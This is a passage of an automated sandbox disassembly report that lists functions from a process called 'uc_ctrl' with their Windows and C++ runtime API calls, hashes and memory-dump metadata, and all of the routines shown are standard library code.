                                                                                              • API ID: ?getloc@ios_base@std@@U?$char_traits@V?$ostreambuf_iterator@Vlocale@2@std::locale::~locale$D@std@@@2@D@std@@@std@@@std@@H_prolog3_Ifmt@?$num_put@_Iput@?$num_put@U?$char_traits@_V32@V?$ostreambuf_iterator@_Vios_base@2@W@std@@@std@@@std@@__stdio_common_vsprintf_s_swprintf_s
                                                                                              • String ID: Cw}3/
                                                                                              • API String ID: 3498914085-738913995
                                                                                              • Opcode ID: bd9d61eda6ab1631e9e6f84fe44f22de4d50e16a4084152ccfec9297594c568b
                                                                                              • Instruction ID: fed050daf1ba9923211cb6242cbd9c4850f6117cfe089452d853533fa0aafa7d
                                                                                              • Opcode Fuzzy Hash: bd9d61eda6ab1631e9e6f84fe44f22de4d50e16a4084152ccfec9297594c568b
                                                                                              • Instruction Fuzzy Hash: EB01B1B3500208BB9B119F94DC81CEB77BDEB49218F00461AFA5482601E732E928DBE2
                                                                                              Function 6CEF2DA0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ?_Ifmt@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABAPADPADPBDH@Z.MSVCP140(?,?,6CED57DC,?,?), ref: 6CEF2DD0
                                                                                              • _swprintf_s.MSPDB140-MSVCRT ref: 6CEF2DE0
                                                                                                • Part of subcall function 6CEE7DDA: __stdio_common_vsprintf_s.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,00000000,6CED57CC,?,6CEE84F4,?,00000040,6CED57CC,?), ref: 6CEE7DF6
                                                                                              • ?_Iput@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_WPADI@Z.MSVCP140(?,?,?,?,?,?,?,00000000,?,00000040,00000000,?), ref: 6CEF2DF7
                                                                                                • Part of subcall function 6CEF7200: __EH_prolog3_GS.LIBCMT ref: 6CEF7207
                                                                                                • Part of subcall function 6CEF7200: ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,0000004C,6CEF299B,?,?,?,?,?,?,?,00000000,?,00000040,6CED57CC,?), ref: 6CEF7263
                                                                                                • Part of subcall function 6CEF7200: std::locale::~locale.LIBCPMT ref: 6CEF727D
                                                                                                • Part of subcall function 6CEF7200: ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,0000004C,6CEF299B,?,?,?,?,?,?,?,00000000,?,00000040,6CED57CC,?), ref: 6CEF72C0
                                                                                                • Part of subcall function 6CEF7200: std::locale::~locale.LIBCPMT ref: 6CEF72DC
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@_V?$ostreambuf_iterator@_$?getloc@ios_base@std@@Vlocale@2@W@std@@@std@@@std@@std::locale::~locale$H_prolog3_Ifmt@?$num_put@_Iput@?$num_put@_V32@Vios_base@2@_W@std@@@2@__stdio_common_vsprintf_s_swprintf_s
                                                                                              • String ID: Cw}3/
                                                                                              • API String ID: 3060601432-738913995
                                                                                              • Opcode ID: 34e317073e15eb942947ed053a224d1ab056423ce41a69845325c13369bfa22d
                                                                                              • Instruction ID: f2b19416c3306814d313cf0cd8eef70aa286db90d78c6390a1d38e665474b628
                                                                                              • Opcode Fuzzy Hash: 34e317073e15eb942947ed053a224d1ab056423ce41a69845325c13369bfa22d
                                                                                              • Instruction Fuzzy Hash: 4D018FB2504208BBDB119F94CC81CEBB7BDEB89214F00461AFA5892641DB31E92997F2
                                                                                              Function 6CEF2D20 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ?_Ifmt@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABAPADPADPBDH@Z.MSVCP140(?,?,6CED57D8,?,?), ref: 6CEF2D50
                                                                                              • _swprintf_s.MSPDB140-MSVCRT ref: 6CEF2D60
                                                                                                • Part of subcall function 6CEE7DDA: __stdio_common_vsprintf_s.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,00000000,6CED57CC,?,6CEE84F4,?,00000040,6CED57CC,?), ref: 6CEE7DF6
                                                                                              • ?_Iput@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@AAVios_base@2@_WPADI@Z.MSVCP140(?,?,?,?,?,?,?,00000000,?,00000040,00000000,?), ref: 6CEF2D77
                                                                                                • Part of subcall function 6CEF7200: __EH_prolog3_GS.LIBCMT ref: 6CEF7207
                                                                                                • Part of subcall function 6CEF7200: ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,0000004C,6CEF299B,?,?,?,?,?,?,?,00000000,?,00000040,6CED57CC,?), ref: 6CEF7263
                                                                                                • Part of subcall function 6CEF7200: std::locale::~locale.LIBCPMT ref: 6CEF727D
                                                                                                • Part of subcall function 6CEF7200: ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,0000004C,6CEF299B,?,?,?,?,?,?,?,00000000,?,00000040,6CED57CC,?), ref: 6CEF72C0
                                                                                                • Part of subcall function 6CEF7200: std::locale::~locale.LIBCPMT ref: 6CEF72DC
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@_V?$ostreambuf_iterator@_$?getloc@ios_base@std@@Vlocale@2@W@std@@@std@@@std@@std::locale::~locale$H_prolog3_Ifmt@?$num_put@_Iput@?$num_put@_V32@Vios_base@2@_W@std@@@2@__stdio_common_vsprintf_s_swprintf_s
                                                                                              • String ID: Cw}3/
                                                                                              • API String ID: 3060601432-738913995
                                                                                              • Opcode ID: 145dd7631ecf86f695e20acbdacfe27fe6b59ba17e00aeeb0d8d48b96bc3569b
                                                                                              • Instruction ID: f945183f06fb67f1f156a2d0b2355e23ee770f798b44396b3ece202086274cf3
                                                                                              • Opcode Fuzzy Hash: 145dd7631ecf86f695e20acbdacfe27fe6b59ba17e00aeeb0d8d48b96bc3569b
                                                                                              • Instruction Fuzzy Hash: DC018FB2504208BBDB119F94CC81CEBB7BDEB89214F00461AFA5892641DB31E92997F2
                                                                                              Function 6CEF08D0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ?_Ifmt@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABAPADPADPBDH@Z.MSVCP140(?,?,6CED57D8,?,?), ref: 6CEF0900
                                                                                              • _swprintf_s.MSPDB140-MSVCRT ref: 6CEF0910
                                                                                                • Part of subcall function 6CEE7DDA: __stdio_common_vsprintf_s.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,00000000,6CED57CC,?,6CEE84F4,?,00000040,6CED57CC,?), ref: 6CEE7DF6
                                                                                              • ?_Iput@?$num_put@GV?$ostreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@GU?$char_traits@G@std@@@2@V32@AAVios_base@2@GPADI@Z.MSVCP140(?,?,?,?,?,?,?,00000000,?,00000040,00000000,?), ref: 6CEF0927
                                                                                                • Part of subcall function 6CEF50F0: __EH_prolog3_GS.LIBCMT ref: 6CEF50F7
                                                                                                • Part of subcall function 6CEF50F0: ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,0000004C,6CEF054B,?,?,?,?,?,?,?,00000000,?,00000040,6CED57CC,?), ref: 6CEF5153
                                                                                                • Part of subcall function 6CEF50F0: std::locale::~locale.LIBCPMT ref: 6CEF516D
                                                                                                • Part of subcall function 6CEF50F0: ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,0000004C,6CEF054B,?,?,?,?,?,?,?,00000000,?,00000040,6CED57CC,?), ref: 6CEF51B0
                                                                                                • Part of subcall function 6CEF50F0: std::locale::~locale.LIBCPMT ref: 6CEF51CC
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ?getloc@ios_base@std@@U?$char_traits@V?$ostreambuf_iterator@Vlocale@2@std::locale::~locale$G@std@@@2@G@std@@@std@@@std@@H_prolog3_Ifmt@?$num_put@_Iput@?$num_put@U?$char_traits@_V32@V?$ostreambuf_iterator@_Vios_base@2@W@std@@@std@@@std@@__stdio_common_vsprintf_s_swprintf_s
                                                                                              • String ID: Cw}3/
                                                                                              • API String ID: 4173253988-738913995
                                                                                              • Opcode ID: 556abc54a511eafb3e7c09fffaf4dc0465c09557c07e7338363d88ee901f859c
                                                                                              • Instruction ID: cece546a3bc09aa8910d4e374e3b35e72ed06804d574d8d3e87b4f50dcb3a58a
                                                                                              • Opcode Fuzzy Hash: 556abc54a511eafb3e7c09fffaf4dc0465c09557c07e7338363d88ee901f859c
                                                                                              • Instruction Fuzzy Hash: D0018FB2504208BBDB109F54CC81DEBB7BDEB89214F00461AFA5992641DB32E92997F2
                                                                                              Function 6CEE8890 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ?_Ifmt@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABAPADPADPBDH@Z.MSVCP140(?,?,6CED57D8,?,?), ref: 6CEE88C0
                                                                                              • _swprintf_s.MSPDB140-MSVCRT ref: 6CEE88D0
                                                                                                • Part of subcall function 6CEE7DDA: __stdio_common_vsprintf_s.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,00000000,6CED57CC,?,6CEE84F4,?,00000040,6CED57CC,?), ref: 6CEE7DF6
                                                                                              • ?_Iput@?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@DU?$char_traits@D@std@@@2@V32@AAVios_base@2@DPADI@Z.MSVCP140(?,?,?,?,?,?,?,00000000,?,00000040,00000000,?), ref: 6CEE88E7
                                                                                                • Part of subcall function 6CEE9720: __EH_prolog3_GS.LIBCMT ref: 6CEE9727
                                                                                                • Part of subcall function 6CEE9720: ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,0000004C,6CEE850B,?,?,?,?,?,?,?,00000000,?,00000040,6CED57CC,?), ref: 6CEE9783
                                                                                                • Part of subcall function 6CEE9720: std::locale::~locale.LIBCPMT ref: 6CEE979D
                                                                                                • Part of subcall function 6CEE9720: ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,00000000,?,00000040,6CED57CC,?), ref: 6CEE97E1
                                                                                                • Part of subcall function 6CEE9720: std::locale::~locale.LIBCPMT ref: 6CEE97FD
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ?getloc@ios_base@std@@U?$char_traits@V?$ostreambuf_iterator@Vlocale@2@std::locale::~locale$D@std@@@2@D@std@@@std@@@std@@H_prolog3_Ifmt@?$num_put@_Iput@?$num_put@U?$char_traits@_V32@V?$ostreambuf_iterator@_Vios_base@2@W@std@@@std@@@std@@__stdio_common_vsprintf_s_swprintf_s
                                                                                              • String ID: Cw}3/
                                                                                              • API String ID: 3498914085-738913995
                                                                                              • Opcode ID: c4d28e6b9a292ad38eaaa79e9d4da60d2abc5406a4e9cd7f7615bee781b72791
                                                                                              • Instruction ID: 531931dcb6024fe314d2cd8b62ee136ef0dcb970dc554b695eadd537475c3f86
                                                                                              • Opcode Fuzzy Hash: c4d28e6b9a292ad38eaaa79e9d4da60d2abc5406a4e9cd7f7615bee781b72791
                                                                                              • Instruction Fuzzy Hash: 85018FB2504208BBDB109F54DC81CEBB7BDEB89254F00461AFA5892641DB31E929D7F2
                                                                                              Function 6CEF0950 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ?_Ifmt@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABAPADPADPBDH@Z.MSVCP140(?,?,6CED57DC,?,?), ref: 6CEF0980
                                                                                              • _swprintf_s.MSPDB140-MSVCRT ref: 6CEF0990
                                                                                                • Part of subcall function 6CEE7DDA: __stdio_common_vsprintf_s.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,00000000,6CED57CC,?,6CEE84F4,?,00000040,6CED57CC,?), ref: 6CEE7DF6
                                                                                              • ?_Iput@?$num_put@GV?$ostreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@GU?$char_traits@G@std@@@2@V32@AAVios_base@2@GPADI@Z.MSVCP140(?,?,?,?,?,?,?,00000000,?,00000040,00000000,?), ref: 6CEF09A7
                                                                                                • Part of subcall function 6CEF50F0: __EH_prolog3_GS.LIBCMT ref: 6CEF50F7
                                                                                                • Part of subcall function 6CEF50F0: ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,0000004C,6CEF054B,?,?,?,?,?,?,?,00000000,?,00000040,6CED57CC,?), ref: 6CEF5153
                                                                                                • Part of subcall function 6CEF50F0: std::locale::~locale.LIBCPMT ref: 6CEF516D
                                                                                                • Part of subcall function 6CEF50F0: ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,0000004C,6CEF054B,?,?,?,?,?,?,?,00000000,?,00000040,6CED57CC,?), ref: 6CEF51B0
                                                                                                • Part of subcall function 6CEF50F0: std::locale::~locale.LIBCPMT ref: 6CEF51CC
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ?getloc@ios_base@std@@U?$char_traits@V?$ostreambuf_iterator@Vlocale@2@std::locale::~locale$G@std@@@2@G@std@@@std@@@std@@H_prolog3_Ifmt@?$num_put@_Iput@?$num_put@U?$char_traits@_V32@V?$ostreambuf_iterator@_Vios_base@2@W@std@@@std@@@std@@__stdio_common_vsprintf_s_swprintf_s
                                                                                              • String ID: Cw}3/
                                                                                              • API String ID: 4173253988-738913995
                                                                                              • Opcode ID: 46f1068683a9f0c4b371672dcd9ce0325f3860bc61072f5a174476f8a84b6309
                                                                                              • Instruction ID: 4706135c456eee57ed08719e3e2b174d90956c28b2fe49858ad379caffa7d8aa
                                                                                              • Opcode Fuzzy Hash: 46f1068683a9f0c4b371672dcd9ce0325f3860bc61072f5a174476f8a84b6309
                                                                                              • Instruction Fuzzy Hash: C60184B2504108BBDB109F54CC41DEBB7BDEB49214F00451AFA5592641D731E92997F2
                                                                                              Function 6CEE8910 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ?_Ifmt@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABAPADPADPBDH@Z.MSVCP140(?,?,6CED57DC,?,?), ref: 6CEE8940
                                                                                              • _swprintf_s.MSPDB140-MSVCRT ref: 6CEE8950
                                                                                                • Part of subcall function 6CEE7DDA: __stdio_common_vsprintf_s.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,00000000,6CED57CC,?,6CEE84F4,?,00000040,6CED57CC,?), ref: 6CEE7DF6
                                                                                              • ?_Iput@?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@DU?$char_traits@D@std@@@2@V32@AAVios_base@2@DPADI@Z.MSVCP140(?,?,?,?,?,?,?,00000000,?,00000040,00000000,?), ref: 6CEE8967
                                                                                                • Part of subcall function 6CEE9720: __EH_prolog3_GS.LIBCMT ref: 6CEE9727
                                                                                                • Part of subcall function 6CEE9720: ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,0000004C,6CEE850B,?,?,?,?,?,?,?,00000000,?,00000040,6CED57CC,?), ref: 6CEE9783
                                                                                                • Part of subcall function 6CEE9720: std::locale::~locale.LIBCPMT ref: 6CEE979D
                                                                                                • Part of subcall function 6CEE9720: ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,?,?,00000000,?,00000040,6CED57CC,?), ref: 6CEE97E1
                                                                                                • Part of subcall function 6CEE9720: std::locale::~locale.LIBCPMT ref: 6CEE97FD
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ?getloc@ios_base@std@@U?$char_traits@V?$ostreambuf_iterator@Vlocale@2@std::locale::~locale$D@std@@@2@D@std@@@std@@@std@@H_prolog3_Ifmt@?$num_put@_Iput@?$num_put@U?$char_traits@_V32@V?$ostreambuf_iterator@_Vios_base@2@W@std@@@std@@@std@@__stdio_common_vsprintf_s_swprintf_s
                                                                                              • String ID: Cw}3/
                                                                                              • API String ID: 3498914085-738913995
                                                                                              • Opcode ID: 0ee93e3d825e964a915b4f538c351806047764381a5b25d20b7607129ddf83ea
                                                                                              • Instruction ID: b94c3960b6c0098ddbab2c14d4d61fc4f581e514acba7f09d5b406ff53a8ac0b
                                                                                              • Opcode Fuzzy Hash: 0ee93e3d825e964a915b4f538c351806047764381a5b25d20b7607129ddf83ea
                                                                                              • Instruction Fuzzy Hash: 19018FB2504208BBDB109F54DC81CEBB7BDEB89254F00461AFA5892641DB31E929D7F2
                                                                                              Function 6CF9715B Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46libraryloaderCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                                • Part of subcall function 6CF8FAC0: EnterCriticalSection.KERNEL32(6D1C7498,?,?,00000000,?,6CF9063F,00000000,?,?,6CF6F6D7,6D1C244C), ref: 6CF8FAF1
                                                                                                • Part of subcall function 6CF8FAC0: InitializeCriticalSection.KERNEL32(00000000,?,?,00000000,?,6CF9063F,00000000,?,?,6CF6F6D7,6D1C244C), ref: 6CF8FB07
                                                                                                • Part of subcall function 6CF8FAC0: LeaveCriticalSection.KERNEL32(6D1C7498,?,?,00000000,?,6CF9063F,00000000,?,?,6CF6F6D7,6D1C244C), ref: 6CF8FB15
                                                                                                • Part of subcall function 6CF8FAC0: EnterCriticalSection.KERNEL32(00000000,?,00000000,?,6CF9063F,00000000,?,?,6CF6F6D7,6D1C244C), ref: 6CF8FB22
                                                                                                • Part of subcall function 6CF8E9FD: __EH_prolog3_catch.LIBCMT ref: 6CF8EA04
                                                                                                • Part of subcall function 6CF90D03: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 6CF90D29
                                                                                                • Part of subcall function 6CF90D03: GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 6CF90D39
                                                                                                • Part of subcall function 6CF90D03: EncodePointer.KERNEL32(00000000), ref: 6CF90D42
                                                                                                • Part of subcall function 6CF90D03: LoadLibraryExW.KERNEL32(?,00000000,00000800), ref: 6CF90D64
                                                                                              • GetProcAddress.KERNEL32(00000000,HtmlHelpW), ref: 6CF9719D
                                                                                              • FreeLibrary.KERNEL32(?,?,Function_0002C806), ref: 6CF971AD
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: CriticalSection$AddressEnterLibraryProc$EncodeFreeH_prolog3_catchHandleInitializeLeaveLoadModulePointer
                                                                                              • String ID: HtmlHelpW$hhctrl.ocx
                                                                                              • API String ID: 2316587930-3773518134
                                                                                              • Opcode ID: 06993ff8207093f89ace51e979a86240db5ec8c878003c66e249f778954d0e3d
                                                                                              • Instruction ID: 37d87cf74841565fe56841918a200ea4f165c92e7d268ce4cd5362a000060d8d
                                                                                              • Opcode Fuzzy Hash: 06993ff8207093f89ace51e979a86240db5ec8c878003c66e249f778954d0e3d
                                                                                              • Instruction Fuzzy Hash: 5301F231505717ABEF105BA1D804B5A3BB6AF04768F01842AED5996E50DB70D4508BA2
                                                                                              Function 6CF8D8BC Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 43libraryloaderCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetModuleHandleW.KERNEL32(Advapi32.dll,00000000,00000010,?,?,6CF8D7AF,?,00000010), ref: 6CF8D8CF
                                                                                              • GetProcAddress.KERNEL32(00000000,RegDeleteKeyTransactedW), ref: 6CF8D8DF
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: AddressHandleModuleProc
                                                                                              • String ID: Advapi32.dll$RegDeleteKeyTransactedW
                                                                                              • API String ID: 1646373207-2168864297
                                                                                              • Opcode ID: b81493e4f7d196c0ec84d04156c7524e50969a953f85e49d53c6587532e8d211
                                                                                              • Instruction ID: 1f144ceb4d1132ed690f776e0572a2f09098705792659bd5e1f93e6f52d7de0a
                                                                                              • Opcode Fuzzy Hash: b81493e4f7d196c0ec84d04156c7524e50969a953f85e49d53c6587532e8d211
                                                                                              • Instruction Fuzzy Hash: CBF0B43720610ABFAF105E94AC44F3A77BDFF892A9320443BFA5892510DA32CC118761
                                                                                              Function 6CFA1594 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 40libraryloaderCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetModuleHandleW.KERNEL32(kernel32.dll,?,?), ref: 6CFA15AF
                                                                                              • GetProcAddress.KERNEL32(00000000,GetFileAttributesTransactedW), ref: 6CFA15BF
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
